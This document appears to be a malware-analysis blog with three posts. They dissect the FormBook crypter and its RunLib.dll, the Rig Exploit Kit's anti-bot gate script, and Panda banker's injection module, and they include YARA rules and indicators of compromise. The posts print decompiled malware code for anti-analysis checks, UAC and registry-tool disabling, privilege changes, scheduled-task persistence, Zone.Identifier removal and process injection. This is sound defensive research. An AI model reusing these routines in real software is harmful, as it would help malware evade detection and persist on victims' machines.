Let’s Learn: Dissecting FormBook Infostealer Malware: Crypter & "RunLib.dll"

Goal: Dissect and outline the main functions of FormBook crypter and its RunLib main injection DLL.
Source:

While analyzing one of the more recent #FormBook campaigns, came across an interesting FormBook crypter and its “RunLib” DLL module.

https://platform.twitter.com/widgets.js
Outline:

I. Background
II. First-layer deobfuscated loader
A. XOR decoding routine
B. Fake MessageBox routine
C. Injection 
D. Anti-Analysis
III. RunLib.dll 
A. Main injection routine
B. UAC and registry disable registry function
C. ElevateProcess function
D. Task Scheduler persistence
E. Zone.Identifier remove
IV. Yara RULE

I. Background:
FormBook is a formgrabbing malware that is available on the underground. It continuously evolves leveraging VBCrypter -> RunPE packers and is written in .NET. FireEye and Arbor extensively covered the binary functionality of the FormBook stealer.
It is the same crypter called internally “classicrefud.” It is also referenced as “Prime Crypt – The Babushka Crypter” [1] by  InsideMalware.
II. First-layer deobfuscated loader:

The PDB path for the binary crypter is as follows:

C:\Users\zeros\OneDrive\Documents\Visual Studio 2017\projects\classicrefud\Classlibrary1\Obj\Release\graznataguz.pdb
A. XOR decoding routine

FormBook decodes resource via the following decoding function  (censored) with the static key “ZTZZCVBMVUTBOMTTIZICXOVBOUIIRUUEBUEXOEEXNBUBTCBEOOCVCUEMOUNNIUOOERZROI.”

public static byte[] b****k(byte[] feromero, byte[] malkopute, string golemiq)
{
malkopute = Encoding.get_ASCII().GetBytes(golemiq);
for (int i = 0; i < feromero.Length; i++)
{
int expr_18_cp_1 = i;
feromero[expr_18_cp_1] ^= (byte)(malkopute[i % golemiq.get_Length()] >> i + 5 + malkopute.Length & 150);
}
return feromero;
}
B. Fake MessageBox routine

The malware contains the fake MessageBox logic from the member function “mb.”

type.InvokeMember(“mb“,256, null, Activator.CreateInstance(type), new object[]
{
“[BODY]”,
“[TITLE]”,
“warning”,
“[MSGONCE]”
});

C. Injection 

The binary injects the decoded resource to svchost (suspended) RunPE style the payload “SYRPSVT.exe.

type.InvokeMember(“Inj“,256,null, Activator.CreateInstance(type), new object[]
{
array3,
svchost“,
false,
false,
false,
SYRPSVT.exe“,
PP1PP2
});

IV. Anti-analysis
The malware contains various anti-analysis tricks checking for debugger, analysis tools, and emulation environment.
a. DWireshark()

private static bool DWireshark()
{
Process[] processes = Process.GetProcesses();
Process[] array = processes;
for (int i = 0; i < array.Length; i++)
{
Process process = array[i];
if (process.get_MainWindowTitle().Equals(“The Wireshark Network Analyzer“))
{
return true;
}
}
return false;

}

b. IsDebuggerPresent() 

[DllImport(“kernel32“)]

private static extern bool IsDebuggerPresent();

c. DEmulation()

private static bool DEmulation()
{
long num = (long)Environment.get_TickCount();
Thread.Sleep(500);
long num2 = (long)Environment.get_TickCount();
return num2 – num < 500L;
}

d. DSandboxie()

private static bool DSandboxie()
{
return AA3.GetModuleHandle(“SbieDll.dll“).ToInt32() != 0;
}

III. RunLib DLL function

A. Main injection routine
The malware checks for Avast anti-virus and injects its code into svchost.exe; alternatively, it creates the process svcchost.exe with the argument -woohoo.

B. UAC and registry disable registry function
FormBook also attempts to disable UAC and registry tools via the function called internally “dbl.”

public static void dbl(bool[] dis)
{
try
{
if (dis[0])
{
try
{
RegistryKey expr_15 = Registry.LocalMachine.OpenSubKey(“SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System“, true);
expr_15.SetValue(“EnableLUA“, “0”);
expr_15.Close();
}
catch
{
}
}
if (dis[2])
{
try
{
RegistryKey expr_43 = Registry.CurrentUser.CreateSubKey(“Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System“);
expr_43.SetValue(“DisableRegistryTools“, “1“);
expr_43.Close();
}
catch
{
}
}
}
catch (Exception)
{
}
}

C. ElevateProcess function
The binary also attempts to elevate process via the following function:

private static void ElevateProcess(IntPtr handle)
{
try

{
byte[] array = new byte[0];
uint num = 0u;
RunLib.GetKernelObjectSecurity(handle, 4, array, 0u, ref num);
array = new byte[num];
RunLib.GetKernelObjectSecurity(handle, 4, array, num, ref num);

RawSecurityDescriptor expr_2F = new RawSecurityDescriptor(array, 0);
expr_2F.get_DiscretionaryAcl().InsertAce(0, new CommonAce(0, 1, Convert.ToInt32(987135), new SecurityIdentifier(1, null), false, null));
array = new byte[expr_2F.get_BinaryLength()];
expr_2F.GetBinaryForm(array, 0);
RunLib.SetKernelObjectSecurity(handle, 4, array);
}
catch
{
}
}

D. Task Scheduler persistence

The binary sets up persistence via the task scheduler XML file with its template stored in the resource section. The function is called internally “okapise.”

public static void okapise(string location, string filename, string value, bool hide)
{

Directory.CreateDirectory(Environment.GetFolderPath(26) + “\\” + value);
string text = string.Concat(new string[]
{
Environment.GetFolderPath(26),
“\\”,
value,
“\\”,
filename
});
string text2 = string.Concat(new string[]
{
Environment.GetFolderPath(26),
“\\”,
value,
“\\”,
RunLib.RndString(5),
.xml
});

string name = WindowsIdentity.GetCurrent().get_Name();
string text3 = Resources.TE;
if (!(location == text))
{
File.Copy(location, text, true);
}
bool flag = (File.GetAttributes(location) & 2) == 2;
if (hide && !flag)
{
File.SetAttributes(text, File.GetAttributes(text) | 2);
}
text3 = text3.Replace(“[USERID]“, name).Replace(“[LOCATION]”, text);
File.WriteAllText(text2, text3);
ProcessStartInfo expr_124 = new ProcessStartInfo(“schtasks.exe“, string.Concat(new string[]
{
“/Create /TN \”” + value + “\\”,
value,
“\” /XML \””,
text2,
“\””
}));
expr_124.set_WindowStyle(1);
Process.Start(expr_124).WaitForExit();
File.Delete(text2);

}


E. Zone.Identifier
The malware also modifies the flag to remove or modify Zone.Identifier to avoid additional checks that might show the binary was downloaded externally.
The function “remove” is as follows:

private static void remove(string path)
{
try
{
RunLib.DeleteFile(path + “:Zone.Identifier“);
}
catch (Exception)
{
RunLib.modify(0, path);
}
}

The function “modify” is as follows:


private static void modify(int m, string path)
{
try
{
ProcessStartInfo expr_3A = new ProcessStartInfo(“cmd.exe“, string.Concat(new object[]

{
/c echo [zoneTransfer]ZoneID = “,
m,
 > “,
path,
“:Zone.Identifier & exit”
}));
expr_3A.set_WindowStyle(1);
Process.Start(expr_3A).WaitForExit();
Thread.Sleep(1000);
}
catch (Exception) {
}
}


IX. YARA RULE

rule crime_win32_formbook_runlib_in_memory{

meta:
description = “Detects the FormBook’s runlib DLL in memory”
author = “@VK_Intel”
reference = “Detects the unpacked FormBook RunLib”
date = “2018-01-21”
hash = “a285feabf146fe4d944acc20b4d7ad2258e5084b0440960bd2b7df662e6cf7d6”

strings:
$s0 = “C:\\Users\\zeros\\OneDrive\\Documents\\Visual Studio 2017\\Projects\\ClassicRefud\\ClassLibrary1\\obj\\Release\\graznataguz.pdb” fullword ascii
$s1 = “C:\\Windows\\System32\\svchost.exe” fullword wide
$s2 = “\\System32\\svchost.exe” fullword wide
$s3 = “RunLib” fullword wide
$s4 = “[LOCATION]” fullword wide 
$s5 = “mscoree.dll” ullword wide 
condition:
all of them
}

rule crime_win32_formbook_first_layer_unpacked {
meta:
description = “Detects the FormBook’s main runner in memory”
author = “@VK_Intel”
reference = “Detects first-layer FormBook binary unpacked”
date = “2018-01-21”
hash = “e4d8d6bbb80a2ddf9d4b28ac1dec354cdd59dd633e2dca13ef93b5e4fcb4abd5”
strings:
$s0 = “DSandboxie” fullword ascii
$s1 = “DWireshark” fullword ascii
$s2 = “DEmulation” fullword ascii
$s3 = “mb” fullword ascii
$s4 = “svchost” fullword ascii
condition:
    all of them
}

Let’s Learn: Dissect Rig Exploit Kit Anti-Bot Filter Gate

Background:

  • While analyzing the latest malvertising campaign leading to the Rig Exploit Kit (EK), I observed an interesting anti-bot gate filter script that is used by the Rig EK to filter out bot requests and/or ensure browsers and their objects are genuine. Otherwise, the script would not redirect to the eventual Rig landing page. It appears the Rig EK operator implemented it to filter out automated bot crawlers and bad browsers in order to provide better traffic quality for malicious installs.

Indicators of Compromise:

SUBJECT INDICATOR
Rig EK Landing 176.57.208[.]146
Ramnit Banking malware 6ee3d4e6b9cec67165e90f7ee7c9c33b
Rig SWF Flash exploit CVE-2015-8651 e97ea1f6f44ef539c62b60c9900ae21d
Rig Anti-Bot Filter Gate 5a21cb7dcbefe71f0cc263d694f6eef5
Rig EK Landing Page 809ec26b2ab724e87bf60e467d9534ac

Summary:

  • The malvertising campaign leads to Seamless gate hosted at the Punycode represented domain with the prefix xn--. The gate iframe script redirects to the seemingly new Rig anti-bot filter gate that eventually leads to the landing page serving its usual Flash exploit CVE-2015-8651 that drops Ramnit banking malware on the vulnerable machines.

Scope:

  • The subject of the blog is to document the observed Rig EK anti-bot filter gate.
Rig EK Anti-Bot Filter Gate:

  • Initially, the JavaScript function runs iframe window.setTimout speed of 88 milliseconds with the style=visibility:hidden.

I. The anti-bot BrowserGet() function obtains user agent information and parses the browser information with the objects as follows:
{
           browser: ‘unknown’,
           browser_real: ”,
           is_bot: false,
           browser_quality: 0,
           platform: ‘desktop’,
           versionFull: ”,
           versionShort: ”
};

II. Essentially, the script parses the visitor for the following browsers and versions:

  • Microsoft Edge
  • Internet Explorer
  • Firefox
  • Opera
  • YaBrowser
  • Chrome
  • Safari
  • Maxthon

III. Then, the script checks if the visit comes from a mobile device as follows:

 if(/iphone|ipad|ipod|android|blackberry|mini|windows\sce|palm/i.test(navigator.userAgent.toLowerCase())) browsrObj.platform = ‘mobile‘;

IV. Notably, the Rig anti-bot gate also performs the so-called browser quality check essentially verifying by running browser-specific value checks and filtering mobile agents. Finally, the script runs checks to verify the aforementioned browser object ‘browser_real‘ matches ‘browser_quality.’
The script checks for the following browser objects:

Internet Explorer -> window value check for the presence of “ActiveXObject
Google Chrome -> window value check for the presence of “chrome
Opera -> window value check for the presence of “opera
Mozilla Firefox -> document value check for the presence of “getBoxObjectFor” or window check for “mozInnerScreenX”
Google Chrome -> window value check for the presence of ‘WebKitCSSMatrix‘, ‘WebKitPoint‘, ‘webkitStorageInfo‘, ‘webkitURL

The relevant script is as follows:

   var w=window,d=document;

   var CorrectBrowser = true;

   var uaBrowser = browsrObj;

   var isIE = isChrome = isFirefox = isOpera = 0;

   if(uaBrowser.platform != ‘mobile’ && (browsrObj.browser == ‘ie’ || browsrObj.browser == ‘chrome’ || browsrObj.browser == ‘firefox’)) {
       if(‘ActiveXObject‘ in window) isIE++;
       if(‘chrome‘ in window) isChrome++;                
       if(‘opera‘ in window) isOpera++;
       if(‘getBoxObjectFor‘ in d || ‘mozInnerScreenX‘ in w) isFirefox++;
       if(‘WebKitCSSMatrix‘ in w||’WebKitPoint‘ in w||’webkitStorageInfo‘ in w||’webkitURL‘ in w) isChrome++;
       var f=0;
       f|=’sandbox’ in d.createElement(‘iframe’)?1:0;
       f|=’WebSocket’ in w?2:0;
       f|=w.Worker?4:0;
       f|=w.applicationCache?8:0;
       f|=w.history && history.pushState?16:0;
       f|=d.documentElement.webkitRequestFullScreen?32:0;
       f|=’FileReader’ in w?64:0;       
       if(f==0) isIE++;    
       if(isIE > 0) {
           browsrObj.browser_real = ‘ie‘;
           browsrObj.browser_quality = isIE;
       }
       if(isChrome > 1 && isFirefox == 0) {
           browsrObj.browser_real = ‘chrome‘;
           browsrObj.browser_quality = isChrome;
       }
       if(isFirefox > 0 && isChrome == 0) {
           browsrObj.browser_real = ‘firefox‘;
           browsrObj.browser_quality = isFirefox;
       }
       if(uaBrowser.browser != uaBrowser.browser_real) browsrObj.is_bot = true;
   } 

V. If the browser object is_bot is not to “true,” the script reaches out to the usual RIG Exploit Kit landing pages that ultimately serves Ramnit banking malware via the Flash SWF CVE-2015-8651 exploit; otherwise, the script runs document.write() and dies.

   function FuncStart() {
BrowserInfo = BrowserGet();
if(BrowserInfo.is_bot == true) {
document.write(”);

} else {
      if(BrowserInfo.browser_real==’ie‘) {
    window.frames[0].document[“body”].innerHTML = ‘<form target="_parent" method="post" action="'+LinkToUrl+'”>’; 

    window.frames[0].document.forms[0].submit();
      }
}

p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 8.5px Helvetica} p.p2 {margin: 0.0px 0.0px 0.0px 0.0px; font: 8.5px Helvetica; min-height: 11.0px}
p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 8.5px Helvetica} p.p2 {margin: 0.0px 0.0px 0.0px 0.0px; font: 8.5px Helvetica; min-height: 11.0px}

Let’s Learn: Dissect Panda Banking Malware’s "libinject" Process Injection Module

Goal: Unpack and dissect the Panda banking malware injection DLL module titled “libinject.dll.”
Source:
Panda Loader (MD5: 2548a068f7849490c56b63288a8ae5c2)
Panda Loader (unpacked) (MD5: adab9c2b1d897d6a157b82d59f9c2306)
Panda “libinject” (MD5: 47dcbc79f98ff4501619eb5d25da03bd)

Background:
 While analyzing one of the latest Panda malware spam campaings identified by @JAMESWT, I decided to investigate the binary deeper to see some interesting and/or undisclosed ways the malware interacts with the victim environment. Immediately what stood out to me is Panda’s DLL inject module due its compatibility with 32-bit (x86) and 64-bit (x64) architecture.

https://platform.twitter.com/widgets.js By and large, the Panda banker malware leverages the following Windows NTDLL and kernel32 for process injection:

NtUnmapViewOfSection
ZwWow64ReadVirtualMemory64
ZwGetContextThread
ZwSetContextThread
ZwWow64QueryInformationProcess64
NtProtectVirtualMemory
RtlExitUserThread
NtCreateSection
CreateRemoteThread
WriteProcessMemory
ResumeThread

Analysis:
Panda Banker injection module outline

I. Export functions 
II. AcInitialize
III. AdInjectDll
IV. Yara Rule

I. Export functions
The Panda export ordinal functions are as follows:

  • AcInitialize: size_t function type that initializes the structures necessary for the injection export function.
  • AdInjectDll: DWORD function type that performs the process injection with the argument with the desired process ID (PID) as an argument of the DWRD type.

II.  AcInitialize

The functions contain check x64 process check via IsWOW64 returning an integer value. The pseudocoded C++ function is as follows:
The main AcInitialize module check_x64:

  v7 = 0;
  v2 = (FARPROC)dword_10004380;
  if ( dword_10004380
    || (v3 = GetModuleHandleW(L”KERNEL32.DLL”),
        v2 = GetProcAddress(v3, “IsWow64Process”),
        (dword_10004380 = (int)v2) != 0) )
  {
    if ( dwProcessId )
    {
      v4 = OpenProcess(1024u, 0, dwProcessId);
      v2 = (FARPROC)dword_10004380;
    }
    else
    {
      v4 = (HANDLE)a2;
    }
    if ( v4 )
    {
      v5 = ((int (__stdcall *)(HANDLE, int *))v2)(v4, &v7);
      v7 = v5 != 0 ? v7 : 0;
      if ( dwProcessId )
        CloseHandle(v4);
    }
  }

III. AdInjectDll main
The main AdInjectDll sets both createthreadfunction and injectfunction functions, pseudocoded as follows:

DWORD __stdcall AdInjectDll(DWORD dwProcessId)
{
  ULONG v1;
  int v2;
  HANDLE hObject[4];
  *(_OWORD *)hObject = 0i64;
  v1 = -1;
  hObject[2] = (HANDLE)dwProcessId;
  v2 = 0;
  if ( check_if_x64(dwProcessId, 0) )
    v2 = 16;
  hObject[0] = OpenProcess(1082u, 0, dwProcessId);
  if ( hObject[0] )
  {
    if ( createthreadfunction((int)hObject, v2) )
    {
      v1 = injectfunction(hObject, v2);
      CloseHandle(hObject[1]);
    }
    CloseHandle(hObject[0]);
  }
  else
  {
    v1 = GetLastError();
  }
  return v1;
}

A. createthreadfunction
Creates thread either via CreateRemoteThread or NtCreateThreadEx (or both)


B. injectfunction
The malware createa a section via NtCreate and calls NtMapViewOfSection to unmap the payload in memory.
One of the notable Panda features is its  compatibility with x32/x64 architectures is achieved by using IsWow64Process (definition of OS architecture).
ZwWow64QueryInformationProcess64-ZwWow64ReadVirtualMemory64 are used for searching NTDLL in PEB, then for searching API addresses required for work of injecting DLL module (x32/x64) which is being located in AP svchost by using NtCreateSection-NtMapViewOfSection-NtUnmapViewOfSection ResumeThread-Sleep-SuspendThread are used for unmapping and injecting the payload into the main thread.
IV. Yara Rule

rule crime_win32_64_panda_libinject_dll_module {
meta:
description = “Panda Banker linject DLL modile”
author = “@VK_Intel”
reference = “Detects Panda Banker libinject.dll”
date = “2018-01-10”
hash = “75db065b70c6bce9117e46a6201d870e580d07b7c3ee6d2ddab34df0b5dff51f”
strings:
$lib = “libinject.dll” fullword ascii

$export1 = “AdInjectDll” fullword ascii
$export2 = “AcInitialize” fullword ascii

$import0 = “ZwWow64QueryInformationProcess64” fullword ascii
$import1 = “ZwWow64ReadVirtualMemory64” fullword ascii
$import2 = “NtCreateSection” fullword ascii
$import3 = “NtUnmapViewOfSection” fullword ascii
$import4 = “NtGetContextThread” fullword ascii
$import5 = “NtSetContextThread” fullword ascii
$import6 = “WriteProcessMemory” fullword ascii
$import7 = “ResumeThread” fullword ascii
$import8 = “CreateRemoteThread” fullword ascii
$import9 = “VirtualAllocEx” fullword ascii

condition:
all of ($export*) and one of $lib and all of ($import*)
}